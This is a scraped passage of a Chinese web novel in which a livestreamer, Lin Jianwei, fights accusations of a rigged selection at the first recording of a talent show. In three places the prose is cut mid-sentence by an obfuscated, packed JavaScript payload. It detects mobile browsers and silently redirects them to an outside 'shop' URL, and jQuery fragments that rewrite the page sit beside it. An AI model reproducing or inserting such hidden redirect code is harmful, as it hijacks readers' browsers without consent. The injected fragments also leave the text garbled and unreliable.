清纯小奶狗一去不复返,他在暗黑叛逆的道路上越走越远,然而他的星途也随之越来越顺,不少粉丝疯狂迷恋他夜店玩咖的气质,在他的演唱会上声嘶力竭地叫着“夜店小王子”。 大众纷纷猜测,他一定不是乱玩,肯定是在饭局上搭上了什么大佬,得到保驾护航,所以星途顺畅。 周落是黑红的典范,黑料越多人越红,片约不断,各大综艺节目更是抢破了头。 但他在业内的风评自然不高,经常爆出刷大牌、全剧组为了等他买一杯咖啡停摆等令人发指的新闻。 谷煜百思不得其解地问:“他这样一个人,怎么可能进文眉导演的戏?大劈叉,你确定你真不是在做梦?” 林见微苦笑:“我也不知道啊。听说他是本片的投资方之一,不仅是带资进组,而且他给的实在是太,多,了。” 谷煜:“能有多少?” 林见微把从韦宁那里听到的八卦原封不动地转述出来:“据说文眉导演这部戏刚刚立项的时候,很多投资人都不看好,没人愿意投钱。” “这也不意外,最近市场遇冷,很多原本被看好的商业片都折戟,更何况一部便文艺的片子,所以许多人都望而却步,不敢轻易投资。” “周落听说后,力排众议,表示一定要投资,而且还要给到位,他甚至放出话说,文眉导演需要多少他就投多少,就算砸锅卖铁也要助文眉导演一臂之力。” “他之所以这么做,是因为文眉导演是他的伯乐,当年不仅带他拍了《月淡花浓》,还把他引荐给各路大佬,所以周落对文眉导演感激不已。” “现在文眉导演新戏需要钱,他最近几年又挣了不少,自然愿意全力以赴。自从他投资后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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几人热情地欢迎她落座,林见微抱歉地说来晚了,大家点了菜喝了点饮料,大河向东刘便提出了关于搞笑视频拍摄的几点想法。 第一,她和南瓜负责剧本设计,但大家如果有好的想法就第一时间分享。 第二,沈惊鸿负责饰演比较正经的花旦角色,大河向东刘和林见微则担负起谐星的职位,鉴于波波是这里面惟一的男生,由他当仁不让地脚踏正邪两条船。 第三,南瓜性格腼腆,所以负责大部分的后台工作,比如拍视频、剪辑、道具服装统筹等。大河向东刘是总负责人,统筹协调各项流程。 第四,短视频节奏快周期短,账号最好保证每天都有视频更新,所以大家时间紧任务重,如果有工作安排需提前告知,这样能提前协调人手。 大家纷纷表示同意,大河向东刘又说:“大劈叉和波波过两天就要投入《星璨》的紧张录制了,如果要缺席一段时间的短视频录制,大家都要表示理解和支持。” 沈惊鸿率先表示:“那是自然!大劈叉和波波是我们香蕉平台全体主播们的骄傲,我们当然要尽全力支持他们!” 南瓜也睁着圆圆的眼睛说:“你们要加油哦,带着我们所有人的希望,能走多远就走多远,争取出道!” 大河向东刘:“出道!你们一定可以出道,我们会发动一切力量给你们投票,你们好好比!” 林见微和凌波微步一下子湿润了眼眶,感动地说一定会竭尽全力,不辜负父老乡亲们的殷切期望。 聚餐结束的时候,大河向东刘招呼服务员给大家拍了个照,照片拍得很有烟火气,众人笑得非常灿烂,面前是各种杯盏碗碟。 拍照的时候林波微步凑到林见微身旁,但不知为什么,快门摁下的那一刻,林见微还是默默地往一旁挪动了寸许。 53.五十三 一周之后。 三伏天的热浪一浪赛过一浪,本以为之前就够热了,没想到老天爷似乎摆明了架势要展露一下威风,《星璨》录制开始的这一周,京南市气温史无前例接近40度。 祸不单行,还连着劈头盖脸浇洒下几次雷暴雨。 《星璨》是周一早上10点开始的,林见微刚出门就不巧赶上了一阵暴雨,豆大的雨珠噼啪滚落,在地上溅起一朵朵泥花。 林见微在屋内等了一会儿,可是雨势却越来越大,眼看着就要过点了,她咬咬牙,抄起一把雨伞就往屋外狂奔。 一路地铁奔波,到达《星璨》的录制地点恰好是9点50分。 还好没迟到,林见微长舒一口气,抖了抖沾满水珠的雨伞,又叹气地低头看了看自己: 她明智地穿了条短裙,露在外面的腿虽然落满雨水,但用毛巾擦一擦就干了,但短袖被雨水打湿了六七成。 等下看看能不能叫个极速快递送来一件白T,这么想着,林见微低头看了看手机,想确认一下录制楼层,这时身后突然响起一声熟悉的尖叫: “劈叉!你也来了!” 林见微吃惊地回头,只见一个扎着双马尾的圆脸女孩正兴喜地张开手,一路小跑奔向她。 “钱雯??”林见微不敢相信自己的眼睛,张开双臂迎接了钱雯过于热情的拥抱。 钱雯一脸灿烂笑容,个子不高的她仰头笑道:“怎么样,惊不惊喜,意不意外,高不高兴?” 林见微:“你,你怎么在这里?” 钱雯自豪地挺了挺胸脯:“来参加《星璨》啊,和你一样。” 这下林见微更震惊了,她努力地回忆了一下,确定群蕉荟萃选拔赛的时候没有看见钱雯的身影。 见她疑惑,钱雯笑着解释:“你忘了,我在别的平台也有账号,而且以前还做过女团,所以这次的名额是老东家慷慨给我的。” 林见微对钱雯的背景确实不了解,这时只得装作恍然大悟地样子拍了下脑门:“哎呀,你看我这记性,我都不知道你要来!不然我就提前联系你,看看你有什么攻略没有。” 钱雯抿嘴笑道:“害,我小透明一个,哪里知道什么门道和攻略!我还想问你要呢,但怕你忙,没敢打扰你。” 林见微知道自己已经很久没和麦乐鸡、郝施等人联系了,眼下见了钱雯这张干净单纯的脸,不禁心下有愧,赶忙说:“以后有事尽管说!” 钱雯笑嘻嘻道:“你是不是在找录制楼层?我知道在哪里,走,我带你去!” 说着她拉着林见微手腕,轻快地走到电梯门前,两根马尾辫在空中一甩一甩的。 电梯门开后,她摁下10楼,下去后就看见一张A4纸上赫然写着: 1001《星璨》化妆间 1002《星璨》编导室 1003《星璨》演员候场区 1004-1009编导休息室 林见微还想核对流程,钱雯立刻道:“要先去候场区等着,那边有人对接。” 林见微暗暗惊讶,之前和麦乐鸡、郝施等人在一起的时候,钱雯向来话少,而且没什么主见,今天看她行事颇为爽利,倒是和以往大相径庭。 但林见微毕竟只和她有几面之缘,也许钱雯之前只是被麦乐鸡等人的强大气场压制住了,得在没有她们的地方才能自如地释放本性。 候场区是一个偌大的能容纳几百人的展播厅,正对着大门的是几排白色的阶梯,上面三五成群地坐着几十个打扮靓丽的俊男靓女。 阶梯下面是一个开阔场地,乌央的人群中间站着一个戴着帽子穿着松垮白T和牛仔拖地长裤的女生,她戴着耳挂式麦克风,正冷静地指挥秩序。 “新进来的小哥哥小姐姐们请在阶梯上找位置坐下,等人来齐后我会讲解一下规则和流程。” 林见微望着屋里密密麻麻的人,一下子有些茫然。 屋内香水味交杂,场地里人来人往,阶上阶下呼朋引伴,还有一些老友重逢的场景,四下里纷乱嘈杂,好不热闹。 这里面不都是生面孔,有几个已经气定神闲坐在台阶上的一看就是久经考验的选手,林见微认得他们——之前要么参加过别的选秀节目,要么已经从男团女团出道,只不过没有太大名气,所以想借《星璨》翻红。 钱雯好像有什么东西没听清,便拉着林见微去找指挥秩序的小姐姐,小姐姐问道:“你们叫什么名字?” 钱雯和林见微如实答了,然后屋内突然一片安静。 林见微这才意识到,刚刚二人的对话通过小姐姐的话筒,传抵了整个室内。 紧接着就是一片窃窃私语: “就是她!有黑幕的那个!”“什么黑幕??”“你2G上网吗?微博上都传遍了,说扬州大劈叉能力一般却入选进来,内有隐情!”“怎么,她和香蕉平台高管睡了?还是和《星璨》编导睡了?”“咳咳,说话注意一点!应该是和《星璨》的什么人搞了关系。” 所有的目光从四面八方而来,集中压在林见微身上,议论之声渐大,不绝于耳。 林见微的脸一下子开始发烫,她的那条热搜在网上挂了两天左右,后来被时穆飞、小麋鹿、谷煜的热搜压了下去。 她本来觉得这样的话应该就没什么事了,没想到互联网的记忆这么好。 也合理,毕竟时穆飞、小麋鹿、谷煜三人都不是直播圈和唱跳圈的,而这个圈子最近上热搜的也只有林见微一人。 眼看指指点点的人越来越多,维持秩序的小姐姐先看不下去了,轻咳了一声:“大家都找地方坐下,大家是来比赛的,不是来八卦的!” 可是没有人动,议论声反而越来越大: “网上的PDF里可详细了”“发我一份!”“我也要,快,咱俩加个好友!”“干脆我们面对面建个群,直接发群里!” 眼见吃瓜的人越来越多,维持秩序的小姐姐有些头痛,几次喊叫拍桌无果后,表示要出去请示一下。 没过一会儿,小姐姐带着一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16652874|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一脸严肃的中年女人进来了。 这下子屋内瞬间安静了,大家都认识那走在小姐姐身后的,正是《星璨》的总负责人之一,胡享云。 胡享云参与制作过多档大型选秀节目,行事雷厉风行,有雷霆手腕,有能力有人望,在业内颇有威名。 她虽然从不在幕前露脸,但位高权重,所以混唱跳圈子的人都认识她。 今天她本来没打算亲临现场的,但正好这边有些事需要统筹协调一下,再加上《星璨》是平台今年力推的节目,流量资金都朝这边大力倾斜,所以录制第一天她决定保险起见,还是来看看情况。 这不看不知道,一看吓一跳:还没开始录制,选手们就不听管控了? 胡享云阴着脸走进来,带来的低气压瞬间环绕了整个室内。 屋内的人一个个噤若寒蝉,大有一种自习课聊天聊到兴头上,结果班主任哐地推门进来的感觉。 “怎么回事?”胡享云的低沉问话酝着暴风雨,声音不大,但室内过于安静,问话传得很远。 场控小姐姐在她耳边低语几句,但全室的人都听了个大概:“之前热搜……大劈叉黑幕……” 胡享云轻咳一声,场控小姐姐立刻噤声,恭恭敬敬地垂手站在一旁。 威压的视线绕场一周,所有人都低下头,唯恐和她发生视线交互。 “大赛迫在眉睫,你们不关心比赛情况,只关心八卦是吗!”胡享云怒容满面,音量也提高了几个度。 众人低头抠手,内心默念:不是我不是我。 视线又在室内逡巡一圈,胡享云厉声问道:“刚刚是谁带的头?” 大家面面相觑,互相看了一圈,这时一个身材略显魁梧的女生站了起来,中气十足地说:“报告胡导,我对咱们节目的参赛资格评定有异议。” 众人惊讶望去,那女生穿着短裙,两条健硕的腿叉开站立,自带两米八气场。 那是乐盛选送的李颂一,脾气火爆,说话直接,从不吃亏和受委屈,在圈内以霸气著称,人送外号大姐大。 胡享云眯起眼睛,言语中带了些许威胁之意:“你这是在当众说我们节目赛制不公,有黑幕?” 正常人此时早就吓得屁滚尿流了,但李颂一毫不怯场,挺起胸脯和腰杆,大声说:“我们听说这里有一位本没有资格参加《星璨》节目的选手,那就是您身边的这位,扬州大劈叉。” 所有的目光都集中在林见微身上,包括胡享云那意味深长,充满探究意味的目光。 林见微落落站在那里,如沉稳的海岸静静地接受目光的冲刷洗礼,然后朗声道:“既然如此,请你展开说说?” 李颂一往前跨了几步,站在台阶前的空地,先是看向胡享云道:“胡导,如果今天我说的情况属实,节目组是否考虑取消不够资格选手的参赛名额?” 胡享云深看了她一眼,缓缓道:“根据节目的参赛规则,如果各平台选送选手的过程中存在欺诈违规等行为,应取消该选手的参赛资格。” 54.五十四 李颂得到了胡享云的承诺,得意洋洋地转头看着林见微:“好,既然咱们节目有规定,那我就问问你,扬州大劈叉。” “你是香蕉平台的主播,此次活动也是香蕉平台选送你来的,是不是这样?” 林见微点头:“没错。” 李颂一:“香蕉平台为了公平公正,举办了群蕉荟萃的选拔赛,分为唱歌、跳舞、唱跳三轮比赛,你前两轮分数颇为落后,按常理来说就算你第三轮表现再好,也不可能晋级,但是你却顶替了大家公认的第一名沈惊鸿,冒名顶替一般拿到了入场券,是也不是?” 林见微:“你所说的事情,香蕉平台请的三位评审在比赛现场已经充分讨论过了,如果你有异议,可以咨询他们。” 李颂一眉毛一挑:“可是当时的投票是二比一!两位评委都觉得有失公平,可是最后你还是晋级了,你敢说这里面没有黑幕?你让现场在座的各位评评理,这说得通吗?” 林见微冷笑着听着她偷换概念。第三位评委是《星璨》的副导演陈华,评分权重高,几乎和胡享云之于今天的比赛一样,拥有一票赞同权和否决权。 陈华说她有星运和观众缘,所以力排众议让她入选,而她和陈华素昧平生,并没有内幕交易这回事。 但是如果她直讲出来,倒显得自己小气,还落了个挑拨《星璨》节目组内部关系的嫌疑。 可是如果不说,又不服众,显得自己的晋级真有黑幕一般。 思忖了片刻,林见微沉着地说:“你说我晋级有黑幕,无非是怀疑我有后台,可是请大家仔细想一想,如果有资本大佬在挺我捧我,为什么会允许我的黑幕热搜在公众眼里停留那么久?” 李颂一沉吟片刻,尖利地说:“有可能暗中支持你的大佬实力不够呢?抑或是,你们走的是黑红路线!故意不撤热搜,蹭《星璨》的流量借平台的势,给你自己造热度!” 林见微简直要气笑了,李颂一看来是一定要和她对抗到底,不死不休。 竟然还给她冠了个蹭平台流量的帽子,真是杀人诛心,这要是做实了,平台哪里敢再用她? 更何况胡享云就在现场,随便发一句话杀一儆百,那就堵死了她今后的路。 也不知道李颂一是在给别人当枪使,还是一根筋头铁。 定了定神,林见微道:“你刚刚描述的黑红路线,需要耗费大量人力物力财力,我需要认识微博后台的人,还需要雇水军控评,可是我连经纪公司都没有,何来的资源干这些事?” 李颂一冷笑:“这些事情,只需要花点钱花点时间足以!你可以去买服务,或者雇人帮你做这些事,或者有人在背后指点你……” 林见微打断她:“你说的这些都是猜测罢了,毫无实据。” 李颂一眉毛一挑:“怎么,难道你有证据说明你没有和平台高层有不正当关系?” 林见微没有立刻作答,而是转头看向胡享云:“胡导,我有一个问题想问您。” 胡享云正表情凝重地认真听二人一来一往的辩论,猛不丁地被提到名字,先是一愣,既而快速道:“你说。” 林见微:“请问,如果有人恶意传播不实传闻,故意给《星璨》选定的选手抹黑,按照节目规定该接受什么处罚?” 胡享云目光变深,思忖了片刻后缓缓道:“如果故意散播子虚乌有的传闻,造成重大恶劣影响的,按规则应当严厉查处,取消相关人员的参赛资格,必要时追究其法律责任。” 林见微:“好!既然如此,那么我确实有证据可以展示。” 众人惊讶不已,证据?什么样的证据可以自证清白?简直难以想象。 盯着从四面八方射来的疑惑怀疑的目光,林见微镇定自若地拿起手机,迅速点开相册,找到最后一张照片。 然后她举起手机,面向李颂一,然后又对着四周展示一圈。 “刚刚李颂一说我有黑幕,是经过一番内部运作,顶替了沈惊鸿的名额才得以晋级,那么各位请看,这张照片是上周拍摄的,那天晚上我、沈惊鸿和其他几位香蕉平台的主播愉快地聚了餐,而且沈惊鸿还祝福我,希望我在《星璨》中取得好名次。” 说着她干脆走到阶梯最左边,将手机递给坐在第一排的女生:“如果各位看不清楚,可以传阅一下手机。如果各位对我说的话有异议,在座的一位选手当晚也在场,可以作证。” 没等林见微接着往下说,林波微步从角落里站起来,空荡荡的四周衬得他身形格外瘦小。 “那晚我在现场,我可以证明,那顿饭我们吃得很愉快,没有任何争吵和不和。” 众人纷纷朝他看去,安静的屋内一下子充满了低声议论。 这时候林波微步补了一个自我介绍:“我也是香蕉平台的主播,是通过内部选拔赛来到《星璨》节目的。” “比赛的时候我也在现场,所以我可以作证,那天的比赛公平公正,没有网上传的所谓的黑幕,大劈叉是一个非常努力,乐观向上,单纯善良的女孩子,网上对她的抹黑全都是造谣,是居心叵测的空穴来风。” “我在这里恳请大家,不要相信那些毫无事实根据的传闻,也不要人云亦云,更不要因为那些虚无缥缈的事去抹杀一个女孩子的全部努力。” 说着林波微步动情地对着众人深深鞠了一个躬,起身时甚至眼含热泪,声音哽咽:“我们做主播的,经历了太多很难对人言的心酸不易,还请大家多多体谅我们,多一点善意包容,少一点怀疑猜测,我林波微步在这里替所有的主播们谢谢大家了!” 他说得动容,在场不少女孩子泪点低,都共情地抹起眼泪。 现场还有一些其他直播平台选送的选手,都狠狠地共起了情,一边暗暗赞佩林波微步的勇气和义气,一边心里已经倒向了林见微,愿意相信她是无辜的,是网络流言的受害者。 钱雯也一边哭一边说:“波波说得太好了!希望大家能多多关注我们,我相信未来几周的朝夕相处可以让大家认识最真实的我们。” 眼看形势开始一边倒,李颂一哪肯甘心,尖利地叫道:“大家不要被她骗了!她刚刚就是在打感情牌而已,希望用话术来博取同情,事实证明她很聪明,很成功。” “但是大家一定要擦亮眼睛,仔细想一想,一张照片能说明什么问题,波波的证词又能代表什么?” “请大家试想一下,如果你和你的几个朋友一起出去聚餐,里面有一个人是你不想见的,可是我们都是文明人,为了照顾其他朋友的 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说着她找到群聊,直接点击群通话,并且打开免提。 熟悉的背景铃声回荡在偌大的房间里,众人惊异地看着她,又看看面色在一瞬间变得有些苍白的李颂一。 她这是要和沈惊鸿打电话?? 如果沈惊鸿能当场作证,说明林见微的名额完全是公平合理得来的,那无异于将了李颂一一军。 这时,一个粗狂豪迈的声音从听筒里传来:“喂老铁,啥事啊,你不是应该在录制《星璨》吗?” 林见微:“对,我在节目现场呢,现在有些事需要找一下沈惊鸿。” 大河向东刘颇为疑惑:“咋地了,是有舞蹈动作不会吗,不对啊波波不是也在吗,你也是跳舞的,你俩两个脑袋一起想一想不就完事了?” 大河向东刘那独特的粗狂之感带着一种莫名的喜感,而且很有感染力,刚刚还抹眼泪的选手们现在立刻咯咯笑了起来。 就连一向严肃的胡享云也没绷住,紧皱的眉头一瞬间舒展起来。 林见微:“不是业务上的问题,是……唉等她接电话我问她的时候你就知道了。” 大河向东刘:“还挺神秘,可她现在不一定有空啊,我本来想找她拍视频的,我俩策划了一个‘点外卖结果碰到昔日老同学送单’的段子,她下单,结果碰到她老同学我给她送餐,发生了一系列尴尬而搞笑的事情。” “我俩本来说今天开拍的,可是她临时有一场演出,算算时间,她现在可能在台上跳舞呢!” 林见微心里一紧,手心里也出了一层细汗:要是沈惊鸿一直接不了电话,那她如何自证清白? 而且,就算接了电话,沈惊鸿真的愿意为她作证吗? 两个人毕竟萍水相逢,过去没有太多交集,万一沈惊鸿说了什么不利于她的话…… 林见微越想越紧张,眉头紧紧皱在一起,声音也变得焦急:“她什么时候演出结束啊?” 大河向东刘:“那可说不准啊,她可是台柱子,很可能要演一上午加一下午!” 林见微不自觉地咬起嘴唇,一时竟不知该如何是好。 55.五十五 对面李颂一摆出了一副居高临下,傲然冷视的样子,嘲讽道:“要是联系不上,就别浪费大家时间了!再这样等下去,咱们节目还录不录了?” 大河向东刘隔空回应:“叭叭说话那人是谁啊?怎么听着那么讨人厌呢!” 李颂一气得直瞪眼,双手叉腰回骂道:“嘴巴放干净一点!” 林见微看了一眼胡享云,只见她沉默不语,好像没有要停下来的意思。 可是这么等下去确实不是个事,而且几百双眼睛看着她打电话,压力实在太大。 林见微只得暂时放弃:“大河,既然这样那我先挂了,你要是能联系上她,让她给我回个电话,谢谢了!” 随着电话的挂断,李颂一的气场明显更强了,她冷笑一声,质问道:“看样子,你还是拿不出任何实质性的证据啊。” 林见微心下忙乱,正想着怎么反驳,前排有个女生站了起来,冲李颂一喊道: “颂一,咱得讲逻辑,大劈叉刚刚敢打这个电话,就足以说明她心里没鬼,不然,她怎么敢当着这么多人的面拨通沈惊鸿的电话?” 她这么一说,场上立刻议论纷纷,不少人点头附和,觉得有理。 李颂一怒目瞪着那站起来的女孩,好像一只领地受到侵犯的老虎,恨不得把侵犯者当场生吞活剥:“邓舒华你现如今胆子肥了啊,竟然敢公开叫板我?” 邓舒华和李颂一是一个公司的,二人水火不容已经很久了,公司里人尽皆知。 李颂一性格火爆,凡事都要争当出头鸟,邓舒华性子也硬,不甘心久居人下,所以在公司里二人明争暗斗已经很久了,你压我一头,我就要将你一军。 眼见李颂一非要刁难林见微,邓舒华觉得无论如何得帮为她辩上一辩。 “颂一,我们做人做事要讲道理,刚刚你说的每一点,大劈叉都毫无疏漏,逻辑清晰地给了回应,我们在座的各位都能看到。” 邓舒华这么说的时候,在场的不少选手都频频点头。 “所以,你不要再钻牛角尖了,我们都有脑子,公道自在人心,而且我们的时间也很宝贵,没功夫跟你在这里瞎闹!” “再说了,你一味地排挤对手,对你有什么好处?你是不是嫉妒人家唱跳能力优秀,害怕她进比赛之后直接把你淘汰?” 邓舒华的反驳字字直戳人心,李颂一气得全身发抖,指着她鼻子破口大骂: “邓舒华,这里有你什么事?你一味地偏袒包庇扬州大劈叉,是不是因为你也干过类似的事,所以一下子共情了啊?” 眼看局面越来越难看,胡享云终于忍不住发话道:“好了,你们都安静,现在听我说。” 她的音量不大,声调低沉,但却异常有震慑力,如定海神针一般把混乱的局面瞬间稳住。 场面立刻安静下来,李颂一和邓舒华兀自仇视地瞪着对方,目光喷火。 胡享云:“是我走错房间,进错片场了吗?如果我没记错的话,《星璨》是歌舞类节目,不是语言类节目,是吧?” 她的声音自带一种威慑性,颇有班主任训话的严厉感,本来放松下来的众人立刻紧绷起来,慌忙低下头,生怕和她发生对视。 胡享云继续问道:“所以这是怎么回事呢?好好的歌舞节目,怎么就变成了大型辩论现场了呢?你们谁来告诉我?” 众人噤若寒蝉,一动不动,生怕一个不留神就被胡享云注意到。 屋内安静得落针可闻,胡享云的目光逡巡一圈,一百多个黑漆漆的后脑勺瑟瑟发抖地对着她。 “没有人吗?!”胡享云的声音突然抬高八度,音量也陡然加大,众人惊吓之下都冷不丁地打了个寒战。 “报……报告!”一个纤细的女声从角落里传来,略带犹豫,声音发颤。 所有人的目光都循声望去,只见林见微身后,钱雯怯生生地往前走了两小步。 胡享云投去目光的一瞬间,她立刻低下头,垂在身侧的两手攥紧裙角。 周围的安静令人窒息,胡享云的目光有千钧之重,也许是太过压抑,钱雯最终豁出去了似的抬起头: “是李颂一非要挑起这场争端,是她把我们歌舞类的节目变成了语言类节目。” 李颂一完全没意料到钱雯这个看着柔柔弱弱的女孩竟然敢公然指控她,气得立刻就要发作,但胡享云冷厉如刀的目光立刻射了过去,她终究还是气短,只是投去愤愤的目光,却不敢再说什么。 胡享云重新看向钱雯,此时的她看起来就像一只受惊的小兽,眼眶蓄满了泪,下一秒就要崩溃。 “老话说得好啊,一个巴掌拍不响,辩论嘛讲究有来有回,你们再磨炼磨炼,直接去录制语言类综艺就行了,为什么要来我们这里?” 这话说得严厉至极,言下竟有要将李颂一、林见微二人一齐逐出节目的意思,李颂一惊骇之下一下子如泄了气的皮球,委顿不堪地低下头,而林见微的后背和额头都渗出一层冷汗。 所有人心下也都惊骇万分,不知道胡享云要怎么处理这场闹剧。 “你们来之前,有没有对我们的节目流程有个大概的了解?知不知道我们的赛制?” 胡享云继续质问,可是却没有人敢再回答她。 “第一场比赛是个人赛,你们一百五十名选手要逐一上台表演PK,选出一百名进入下一阶段的考核。” “晋级的一百人要按照能力评级进入A、B、C、D四个班,进行为期半个月的培训,然后参加第二轮的团队考核。” “第二轮过后,只有三十名选手可以参加第三轮比赛,淘汰一半,最后的十五人争夺最终的三男三女成团出道名额。” “实际的比赛机制比我刚刚描述得要再复杂一些,会有复活赛和其他形式的考核,但是我想说的是,比赛过程中你们要进行不止一次的团体比赛,这要求队员之间高度团结协作,配合默契,不能有一丁点的不信任。” “所以现在节目还没开始,你们就这样搞公开敌对,搞小团体,对未来的队友进行如此这般的打压排挤,什么意思?有没有提前研习过节目规则?有没有把编导组放在眼里?有没有对节目最起码的尊重??” 胡享云的质问层层递进,一层比一层严厉,最后形成排山倒海之势,把所有人的信心都狠狠拍了下去。 一开始轻松随意的氛围彻底一扫而光,整个屋内气压低沉,重量十足的空气压得人喘不过气。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16664762|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这里面不乏一些平日里互相看不顺眼,面和心不和,或者公开针尖对麦芒的选手,所以胡享云一番话结束,人人自危,害怕有一天会因此引火烧身。 林见微也低着头,试图揣摩胡享云的意思。她好像想两个人各打五十大板,以此杀鸡儆猴,给众位选手一个下马威。 屋子里安静得沉闷窒息,直到一声嘹亮的手机铃声撕破了沉默。 噔噔蹬蹬叮叮蹬蹬—— 手机铃声重复两次,林见微才意识到这是她的手机在响,于是慌忙摁下接听。 下一刻手机自动外放,沈惊鸿那温柔细软的声音从听筒里传了出来: “劈叉,你找我?” 林见微精神一振,迎着满屋人好奇的目光快速道:“对,我在《星璨》录制现场,这边的选手和编导老师想知道我是不是暗箱操作,顶替了原本属于你的名额,他们说我们香蕉平台的选送比赛违背了公平公开公正原则,所以质疑我的参赛资格。” 尽管声音镇定沉稳,但林见微手心和后背早已渗出一层汗,今天事发突然,她没有和沈惊鸿打过招呼,不知道对方会如何回复。 也许她会大方坦然地向公众澄清,比赛当日她确实因为意外脚伤无法完成第三轮的比赛。 但是,万一她心里一直暗暗不满呢?那么今日正是她翻盘复仇的好机会,当着这么多人的面诉说自己虽然受了伤,但是一直希望香蕉平台能再给她一次机会。 林见微说完后,听筒对面有片刻的沉默,时间突然变得异常缓慢,等待回复的每一瞬都格外漫长。 所有的目光都集中在林见微手机上,最终,沈惊鸿缓缓道:“劈叉,你开着免提吗?” 林见微点头:“嗯嗯。” 又是片刻的沉默,似乎是沈惊鸿在组织语言。 林见微的心提到嗓子眼,呼吸变得不太顺畅,紧紧攥着手机的手指甚至有一些轻微颤抖。 接下来的发言某种意义将决定她还能不能留在《星璨》。 漫长的几秒钟后,沈惊鸿终于开了口:“好,那我就在这里向大家澄清一下。” “在香蕉平台内部举办的群蕉荟萃比赛中,我确实在前两轮获得了较高的分数,如果当时能顺利参加第三轮比赛,有很大希望能成为女生组第一名,获得参加《星璨》的资格。” “但是,天有不测风云,我因为一场意外错过了第三场比赛,大劈叉以她惊艳的表演技压全场,最终拿到了《星璨》的入场券。” “我看了她的表演回放,真的非常惊艳,无论是舞台设计、动作编排、歌曲改编、还是大劈叉本人的演绎,都令人回味无穷,值得放在收藏夹里反复欣赏观看。” “我们之后一直保持联系,还和其他几位主播约好了一起工作,在此期间我们相处非常愉快融洽,大家团结协作,积极沟通,工作推进起来非常顺利。” “所以,我沈惊鸿倾力推荐大劈叉作为香蕉平台的选手参加《星璨》,她的唱跳水平完全达到了专业水平,人也极好合作,所以希望大家多一点友善,不要听风是雨,听信那些别有用心的谣言。” 沈惊鸿说完,全场先是一片沉默,既而所有人都不约而同地把目光投向胡享云。 56.五十六 胡享云感受到了目光的压力,先是问了沈惊鸿一句:“谢谢你的来电,你还有什么要补充说明的吗?” 沈惊鸿想了想,强调说:“我和大劈叉真的是很好的朋友,我其实特别感谢香蕉平台给了我参加群蕉荟萃的机会,又安排了这样的巧合,让我我结识了大河、南瓜、波波和大劈叉这样的朋友。” “过去我一直醉心于舞蹈世界,没有向外探索的动力和契机,是大劈叉她们为我打开了一扇新世界的大门。” “我平日里除了直播,还经常有来自各大舞蹈院线的演出邀约,大劈叉比我更努力更渴望机会,可是却一直没有舞台来展现她的实力,所以她现在能参加《星璨》,我打心眼里为她高兴。” “希望节目组和各位选手们能够放弃成见,好好相处,有的时候收获朋友比收获机会更有意义。” 说完后沈惊鸿表示自己马上就要去演出了,但还是再三确认了胡享云没有什么想问的,才挂断电话。 对话结束后,胡享云依然面容严肃,但一直封冻着的脸色有一丝丝的回暖,看向林见微的眼神里也带着一种赞许和肯定。 沉默了片刻,胡享云视线再次在全场逡巡一圈,然后缓缓开了口。 “各位,刚刚的电话内容大家都听到了,想必大家和我一样,都感到十分震撼。” “网上的热搜我也看过,更为详细的情况我也通过内部渠道调查了解过,经过慎重考虑我们决定让大劈叉继续参加我们节目,亲眼实地看一看她的能力和为人。” “刚刚的电话大家也听到了,我说一说我感受到的——大劈叉和沈惊鸿,还有香蕉平台的其他主播之间的关系,并不像外界传言的那样充满了勾心斗角尔虞我诈,恰恰相反,她们的关系十分融洽,而且还因为内部的选拔赛走在一起,团结协作一起做事业。” “这不正正是刚才我和你们说的那样吗?来到《星璨》,你们每个人既是竞争对手,也是合作伙伴,如何在这种矛盾的关系中找到动态平衡,是你们在这场比赛中要完成的重要功课,它的重要程度甚至不亚于提升唱跳水平。” “所以,希望大家牢牢记住今天的事情,时刻引以为戒,不要把心思花在不该花的地方,好好用心感受这个世界,拥抱你的对手,享受这个比赛,而不是做一个井底之蛙,只关心自己狭小偏颇的世界,而放弃了整片蓝天。” “我说的话,大家都明白了吗?” 学员们都连忙点头,表示理解。 胡享云赞许地“嗯”了一声,既而看向李颂一。 当她的目光锁定在李颂一身上的那一瞬,刚刚舒展的眉间又皱了起来,眼神里重新添了几分严厉和肃杀。 李颂一也感受到了她目光里的冷意,立刻低下头,手指紧紧绞在一起。 其他选手们也纷纷看向她,刚刚和她针锋相对的邓舒华甚至露出了一副幸灾乐祸的笑。 不得不说,沈惊鸿的电话来得恰到好处,时机完美,一方面本尊出面帮林见微有力澄清了谣言,另一方面又大力夸赞林见微的合作能力,暗合了胡享云刚刚训话的内容。 如果说刚刚的局面还是五五开,李颂一和林见微公说公有理婆说婆有理,大家很难判断究竟谁才是占理的,那么沈惊鸿的一番电话,直接把林见微捧上高地送上云端,李颂一则惨痛跌落谷底,再也爬不起身。 这时胡享云冰冷地问道:“李颂一,你还有什么想说的吗?” 李颂一抬起头,咬牙愤恨道:“胡导,万一刚刚是她们自编自导自演的呢?” 